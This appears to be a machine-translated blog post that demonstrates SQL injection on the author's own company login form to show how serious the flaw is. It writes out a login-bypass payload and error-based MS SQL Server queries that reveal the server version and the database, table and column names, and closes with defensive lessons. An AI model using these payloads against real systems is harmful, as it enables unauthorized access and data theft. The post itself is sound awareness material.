Bloody! The whole process of live broadcasting SQL Injection allows you to know the harm.

 

A while ago, I found that my company's website had an SQL injection vulnerability. After I asked the project manager, I got an unusually cold reply: "I have long known that this ASP Website must have a vulnerability, if Asp.net's website is okay, "I will not comment on this statement for the time being. Such a cool response only shows my ignorance of SQL injection. Today, we will broadcast it live, to tell you how much harm SQL injection has.

Initial injection-bypass verification and log on directly

The company website login box is as follows:

In addition to the account and password, you can see that there is also an input box for the company name. According to the input box, it is not difficult to introduce the SQL statement as follows:

 
Select * from table where name = 'xx' and Password = 'yy' and Corp = 'zz'
 

I found that both of the previous checks were performed, but the third input box was neglected. The vulnerability is here! The injection starts. Enter the following content in the input box:

If the username is entered incorrectly and the password is left blank, you can click the logon button to log on successfully. Let's take a look at the final SQL statement to find the cause:

 
Select * from table where name = 'SQL object' and Password = ''and Corp ='' or 1 = 1 --'
 

SlaveCodeIt can be seen that the first half of the single quotes are closed, and the last half of the single quotes are commented out by "--". There is a permanent condition "1 = 1" in the middle ", this results in the successful login of any character. The harm of SQL injection is not just anonymous logon.

Intermediate injection-obtain information with exceptions.

Now we write "'or 1 = (select @ version)-" in the third input box )-". As follows:

The background SQL becomes like this:

 
Select * from table where name = 'SQL object' and Password = ''and Corp ='' or 1 = (select @ version )--'
 

When the condition is changed to 1 = (select @ version), this write method will certainly lead to errors, but the error is exactly what we want. After you click log on, the following information is displayed:

 
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3)-10.0.5500.0 (x64) Sep 21 2011 22:45:45 copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <x64> (build 7601: Service Pack 1) 'to data type Int.
 

The terrible thing is that the operating system and SQL Server version information of the server are displayed by mistake.

Hazard expansion-retrieve all database names, table names, and field names of the server

Then, enter the following information in the input box:"T' or 1 = (select top 1 name from Master .. sysdatabases where name not in (select top 0 name from Master .. sysdatabases ))--", At this time, we found that the third input box has a limit on the number of words. However, such client restrictions can be removed directly from the Google browser.

Click Log On. The returned information is as follows:

 
Conversion failed when converting the nvarchar value 'master' to data type Int.
 

The database name "master" is displayed by exception! Change the sequence number in the preceding SQL statement to obtain the names of all databases on the server.

Then, enter the following information:"B 'or 1 = (select top 1 name from master .. sysobjects where xtype = 'U' and name not in (select top 1 name from master .. sysobjects where xtype = 'U '))--"

The returned information is as follows:

 
Conversion failed when converting the nvarchar value 'spt _ fallback_db 'to data type Int.
 

We get the first table name in the master database: "spt_fallback_db", which is the same as above. Change the sequence number in sequence to get all the table names in the database.

Now we use the "spt_fallback_db" table as an example to try to get all the field names in the table. Enter the following code in the input box:"B 'or 1 = (select top 1 master .. syscolumns. name from Master .. syscolumns, Master .. sysobjects where master .. syscolumns. id = Master .. sysobjects. ID and master .. sysobjects. name = 'spt _ fallback_db ');"

The error message is as follows:

 
"Conversion failed when converting the nvarchar value 'xserver _ name' to data type Int .";
 

In this way, the first field name "xserver_name" is displayed, and the sequence number is changed in sequence to traverse all the field names.

Ultimate Goal: Get data in the database

Here, we know that we can get all the databases, tables, and fields through SQL injection. To prevent this article from being completely an injection tutorial, the code for getting data will not be described.ArticleHas been achieved, what does SQL Injection mean?This means that all data in the database can be stolen..

Can someone ignore the SQL injection vulnerability after knowing this hazard?

Conclusion

For security, This article summarizes the following points:

1. Always be cautious with user input.
2. Only client verification equals no verification.
3. Never expose server error messages to users.

In addition, I would like to add a few points:

1. SQL Injection not only uses input boxes, but also URLs.
2. In addition to the server error page, there are other ways to obtain database information.
3. You can use software to simulate injection. This method steals information much faster than you think.
4. Vulnerabilities have nothing to do with the language platform. Not ASP injection vulnerabilities, but Asp.net does not have Injection Vulnerabilities. It depends on whether the designer is careful.